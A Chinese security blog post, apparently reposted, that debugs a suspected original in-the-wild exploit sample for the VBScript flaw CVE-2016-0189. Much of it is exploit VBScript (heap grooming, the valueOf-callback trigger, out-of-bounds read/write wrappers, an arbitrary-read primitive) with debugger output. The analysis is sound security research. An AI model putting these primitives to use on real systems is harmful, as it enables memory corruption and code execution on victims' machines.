【技术分享】对疑似CVE-2016-0189原始攻击样本的调试

admin 2022年4月25日02:26:06评论54 views字数 7948阅读26分29秒阅读模式

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试
前言

去年10月底,我得到一个与大众视野中不太一样的CVE-2016-0189利用样本。初步分析后,我觉得着这应该是当年CVE-2016-0189的原始攻击文件。其混淆手法和后续出现的CVE-2017-0149CVE-2018-8174CVE-2018-8373完全一致。其利用及加载shellcode的手法也都和后面几个利用一致。

当时我手头有其他事情,并未对该样本进行仔细研究。几天前,我重新翻出了相关样本进行了一番调试。

本文我将描述该CVE-2016-0189样本的利用方式,读者在后面将会看到,利用过程中的错位手法和CVE-2014-6332CVE-2017-0149CVE-2018-8174以及CVE-2018-8373几乎一致。

之前大众视野中的CVE-2016-0189样本,基本都是参考这篇文章中公开的代码,关于这份公开代码的利用细节,我在之前的文章已有详细分析。

下面我们来一窥3年前CVE-2016-0189实际0day样本的利用手法。

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试
内存布局


原样本中借助如下代码进入利用函数

document.write("<script language='javascript'> var obj = {}; obj.toString = function() { my_valueof(); return 0;}; StartExploit(obj); " &Unescape("%3c/script%3e"))

StartExploit函数中,首先调用prepare函数进行内存布局。每次执行arr2(i) = Null会导致一个tagSAFEARRAY结构体内存被回收。

ReDim arr(0, 0)arr(0, 0) = 3 '这一步很重要,数字3在错位后会被解释为vbLong类型
...
Sub prepare Dim arr5() ReDim arr5(2)
For i = 0 To 17 arr3(i) = arr5Next
For i = 0 To &h7000 arr1(i) = arrNext
For i = 0 To 1999 arr2(i) = arr '将 arr2 的每个成员初始化为一个数组 Next
For i = 1000 To 100 Step -3 arr2(i)(0, 0) = 0 arr2(i) = Null '释放 arr2(100) ~ arr2(1000) 之间 1/3 的元素Next
ReDim arr4(0, &hFFF) '定义 arr4End Sub
Function StartExploit(js_obj) '省略无关代码
prepare
arr4(js_obj, 6) = &h55555555
For i = 0 To 1999If IsArray(arr2(i)) = True ThenIf UBound(arr2(i), 1) > 0 Then vul_index = iExit ForEnd IfEnd IfNext
lb_index = LBound(arr2(i), 1)
If prepare_rw_mem() = True ThenElseExit FunctionEnd If
addr = leak_addr()
'省略后续代码End Function

每个tagSAFEARRAY在内存中占据的大小为0x30字节,其中后0x20字节存储着tagSAFEARRAY的实际数据。

0:015> !heap -p -a 052a9fb0address 052a9fb0 found in_HEAP @ 360000HEAP_ENTRY Size Prev Flags UserPtr UserSize - state052a9f98 0007 0000 [00] 052a9fa0 00030 - (busy)
0:015> dd 052a9fa0 l30/4052a9fa0 00000000 00000000 00000000 0000000c052a9fb0 08800002 00000010 00000000 0529d640052a9fc0 00000001 00000000 00000001 00000000
0:015> dt ole32!tagSAFEARRAY 052a9fb0 +0x000 cDims : 2+0x002 fFeatures : 0x880+0x004 cbElements : 0x10+0x008 cLocks : 0+0x00c pvData : 0x0529d640 +0x010 rgsabound : [1] tagSAFEARRAYBOUND

整个释放过程造成大约3000x30大小的内存空洞。

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试
触发漏洞


内存布局完毕后,利用代码通过arr4(js_obj, 6) = &h55555555这一操作进入自定义的my_valueof回调函数,然后在回调函数中重新定义arr4。这导致arr4对应的原pvData内存被释放,并按照所需大小申请新的内存。

Sub my_valueof()ReDim arr4(2, 0)End Sub

上述语句将导致arr4(2, 0)对应的pvData去申请一块大小为0x30的内存,借助相关内存的分配特性,此过程会重用某块刚才释放的tagSAFEARRAY内存。

我们来仔细看一下arr4(js_obj, 6) = &h55555555语句的执行逻辑。

CVE-2016-0189的成因在于AccessArray中遇到javascript对象后可以导致一个对重载函数的回调my_valueof,利用代码在my_valueofarr4重新定义为arr4(2, 0),当回调完成再次返回到AccessArray时,arr4相关的tagSAFEARRAY结构体和pvData指针均已被修改,而AccessArray会继续往下执行的时候仍然按照arr4(0, 6)在计算元素地址,并将计算得到的地址保存到一个栈变量上。

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试

以下汇编代码为vbscript!CScriptRuntime::RunNoEH函数先后调用AccessArrayAssignVar的代码片段,此处AccessArray返回的元素地址会保存到一个栈变量[ebp-1Ch]上,RunNoEH随后会从栈上获取该变量,赋值给edx,并在调用AssignVar时作为目的地址使用。

6d767679 8b55d8 mov edx,dword ptr [ebp-28h]6d76767c 8d4de4 lea ecx,[ebp-1Ch] ; ebp-1Ch 是一个栈上的变量,AccessArray 访问到的具体地址会存放到这个变量里面6d76767f 6a00 push 06d767681 ffb3b0000000 push dword ptr [ebx+0B0h]6d767687 56 push esi6d767688 e886feffff call vbscript!AccessArray (6d767513)6d76768d 8945f8 mov dword ptr [ebp-8],eax6d767690 85c0 test eax,eax6d767692 0f888ebe0200 js vbscript!CScriptRuntime::RunNoEH+0x40db7 (6d793526)6d767698 8b83b0000000 mov eax,dword ptr [ebx+0B0h]6d76769e 8b55e4 mov edx,dword ptr [ebp-1Ch] ss:0023:02c1bd98=0253a2c0 ; 将 ebp-1Ch 变量保存到edx6d7676a1 8b0b mov ecx,dword ptr [ebx] 6d7676a3 c1e604 shl esi,46d7676a6 6a01 push 16d7676a8 03c6 add eax,esi6d7676aa 50 push eax6d7676ab e8cab8feff call vbscript!AssignVar (6d752f7a)

构造超长数组

通过上述步骤,&h55555555对应的tagVARIANT被写入某个属于arr2(i)tagSAFEARRAY结构体。从而获得一个可以用来越界读写的二维数组。

在调试器中看超长数组

我们先来看一下arr2(i) = Null操作全部结束的arr2

// arr2 tagSAFEARRAY0:007> dd 034a8d90 l6034a8d90 08920001 00000010 00000000 0506c060034a8da0 000007d0 00000000
// arr2 tagSAFEARRAY.pvData0:007> dd 0506c0600506c060 0288200c 02888208 052a8848 000000020506c070 0288200c 02888208 052a8880 000000020506c080 0288200c 02888208 052a88b8 000000020506c090 0288200c 02888208 052a88f0 000000020506c0a0 0288200c 02888208 052a8928 000000020506c0b0 0288200c 02888208 052a8960 000000020506c0c0 0288200c 02888208 052a8998 000000020506c0d0 0288200c 02888208 052a89d0 00000002
// arr2(100) 开始的数据0:015> dd 0506c060 + 0n100*10 l4*200506c6a0 00000001 00000000 00000000 000000000506c6b0 0288200c 02888208 052a9e60 000000020506c6c0 0288200c 02888208 052a9e98 000000020506c6d0 00000001 00000000 00000000 00000000 // 052a9ed0 原先位于这里0506c6e0 0288200c 02888208 052a9f08 000000020506c6f0 0288200c 02888208 052a9f40 000000020506c700 00000001 00000000 00000000 00000000...

然后来看一下重新分配后的arr4。结合上面的注释我们可以注意到0x052a9ed0处原来是一个tagSAFEARRAY结构体,其实际占用的内存区间为0x052a9ed0 ~ 0x052a9ed0 + 0x30

随后arr4被重新定义,其pvData所需的内存大小为0x30,恰好占用了刚被释放的tagSAFEARRAY内存区域。

上述占位手法和CVE-2018-8373完全一致。

// arr4 tagSAFEARRAY.pvData 大小为 0x30// 它重用了 arr2 中某个(本次调试时为 arr2(103))被释放的 tagSAFEARRAY 对应的内存块0:015> !heap -p -a 052a9ec0address 052a9ec0 found in_HEAP @ 360000HEAP_ENTRY Size Prev Flags UserPtr UserSize - state052a9eb8 0007 0000 [00] 052a9ec0 00030 - (busy)
// arr4 tagSAFEARRAY.pvData0:007> dd 052a9ec0052a9ec0 00000000 00000000 00000000 00000000 // arr4(0, 0)052a9ed0 00000000 00000000 00000000 00000000 // arr4(0, 1)052a9ee0 00000000 00000000 00000000 00000000 // arr4(0, 2)052a9ef0 27567e4f 88000000 00000000 00000000 // arr4(0, 3)052a9f00 00000000 0000000c 08800002 00000010 // arr4(0, 4)052a9f10 00000000 0529d5f8 00000001 00000000 // arr4(0, 5)052a9f20 00000001 00000000 27567e74 88000000 // arr4(0, 6) 被改写前052a9f30 00000000 00000000 00000000 0000000c
0:005> dd 052a9ec0052a9ec0 00000000 00000000 00000000 00000000052a9ed0 00000000 00000000 00000000 00000000052a9ee0 00000000 00000000 00000000 00000000052a9ef0 27567e4f 88000000 00000000 00000000052a9f00 00000000 0000000c 08800002 00000010052a9f10 00000000 0529d5f8 00000001 00000000052a9f20 02880003 01d89a08 55555555 0000019e // arr4(0, 6) 被改写后052a9f30 00000000 00000000 00000000 0000000c

从下面的日志可以看到arr2的某个成员对应的tagSAFEARRAY被改写了,变成了一个第一维超长的二维数组。pvData = 0529d5f8LBound = 01d89a08, 一维元素个数为02880003, 每个元素大小为0x10字节

// 被改写的 arr2(x) tagSAFEARRAY, x此时未知// 可以看到第一维长度被改写为 02880003,LBound 被改写为 01d89a080:005> dd 052a9f08 l8052a9f08 08800002 00000010 00000000 0529d5f8052a9f18 00000001 00000000 02880003 01d89a08
// 调试器内全局搜索 052a9f080:005> s -d 0x0 l?0x7fffffff 052a9f0801db1a70 052a9f08 01d89ff4 01d40008 00000000 ..*.............0506c6e8 052a9f08 00000002 0288200c 02888208 ..*...... ......
// 计算 x0:005> ? (0506c6e8-0506c060) / 10Evaluate expression: 104 = 00000068 // 第 104 个 arr2(i), 即 arr2(103)
// x = 0x68 = 0n104,对应 arr2(103)0:005> dd 0506c060 + 68 * 10 l40506c6e0 0288200c 02888208 052a9f08 00000002

随后遍历arr2数组成员来查找长度发生变化的成员,并保存对应的索引到vul_index,本次调试中vul_index = 103

For i = 0 To 1999If IsArray(arr2(i)) = True ThenIf UBound(arr2(i), 1) > 0 Then vul_index = iExit ForEnd IfEnd If

并在上述基础上封装了两个越界读写函数。

Function read(offset)
read = Abs(arr2(vul_index)(lb_index + offset, 0))
End Function

Sub write(offset, value)
arr2(vul_index)(lb_index + offset, 0) = value
End Sub

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试
实现错位操作


有了越界读写能力后,利用代码还需要准备一块可以用于错位读写的内存。

Function prepare_rw_mem
On Error Resume Next
offset = 0
mem_index = 0
g_offset = 0
prepare_rw_mem = False

Do While offset < &h1000
val_1 = read(offset)
If val_1 > 3 Then
val_2 = read(offset + 1)
val_3 = read(offset + 4)

If val_2 = 3 And val_3 = 3 Then
g_offset = offset
write offset, "A"
Exit Do
End If
Else
val_1 = 0
val_2 = 0
val_3 = 0
End If

offset = offset + 1
Loop

For i = 0 To 1999
If find_rw_mem(arr2(i)) = True Then
mem_index = i
prepare_rw_mem = True
Exit For
End If
Next
End Function

上述代码描述了整个查找过程,我们可以看到利用代码借助超长数组arr2(103)去查找一个符合条件的成员索引,从代码的设计来看原作者想找的是一个紧邻HEAP_ENTRY结构的arr2(i)(0, 0)成员。随后将该索引保存到一个全局索引g_offset。接着将对应地址处的变量设为代表字符为ABSTR对象。完成上述步骤后,代码又借助arr2去查找刚刚被设置的BSTR变量附近带有特征的内存,并将相应的索引保存到mem_index

在调试器中看查找过程

我们在调试器中看一下相关过程。

以下是从arr2(103)(LBound, 0)开始的内存视角,可以看到本次调试中找到的g_offset = 5,LBound = 01d89a08

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试

随后一个BSTR变量A被写入0529d648对应的0x10字节

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试

随后代码又以arr2(i)(0, 0)的视角来查找被写入的BSTR变量。本次调试中符合条件的i = 107,所以 mem_index = 107

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试

我们来感受一下相差8字节的精妙错位。

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试

任意地址读取

在上述错位的基础上,利用代码借用arr2(103)(LBound + 5, 0)arr2(107)(0, 0)两个不同的数组视角封装了一个任意地址读取函数GetUint32

Function GetUint32(addr)
Dim value
write g_offset, addr + 4
arr2(mem_index)(0, 0) = 8
value = LenB(arr2(vul_index)(lb_index + g_offset, 0))
arr2(mem_index)(0, 0) = 0
GetUint32 = value
End Function

后续的操作和之前已经有过分析文章的 CVE-2017-0149CVE-2018-8174CVE-2018-8373基本一致,这里不再重复分析。


结语

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试

本文我分析了一个可能是原始CVE-2016-0189利用文件的漏洞触发和利用细节。这些细节和该漏洞这几年在公众视野中的印象有所不同。从利用代码的编写风格来看,这个利用样本和CVE-2017-0149CVE-2018-8174以及CVE-2018-8373应该是同一作者。这个作者深谙vbscript漏洞利用编写之道,在相关的几个在野利用中,他对vbscript的内存错位运用得淋漓尽致。

在漏洞利用的技巧方面,我非常佩服该作者。但从0day售卖/攻击的角度来看,这些被运用于实际攻击中的高级利用代码所产生的危害是巨大的。作者在牟利/定向攻击的同时,完全没有考虑到对网络安全大环境产生的严重影响。作者手上肯定还有其他高质量的脚本引擎漏洞,这里也请广大安全厂商引起警惕。

参考链接

CVE-2014-6332分析文章

CVE-2016-0189分析文章

CVE-2017-0149分析文章

CVE-2018-8174分析文章

CVE-2018-8373分析文章

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试

- 结尾 -
精彩推荐
【技术分享】PHP7.1后webshell免杀的去路
【技术分享】伪造面向对象编程——COOP
【技术分享】Phar与Stream Wrapper造成PHP RCE的深入挖掘

【技术分享】对疑似CVE-2016-0189原始攻击样本的调试
戳“阅读原文”查看更多内容

原文始发于微信公众号(安全客):【技术分享】对疑似CVE-2016-0189原始攻击样本的调试

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月25日02:26:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】对疑似CVE-2016-0189原始攻击样本的调试http://cn-sec.com/archives/938443.html

发表评论

匿名网友 填写信息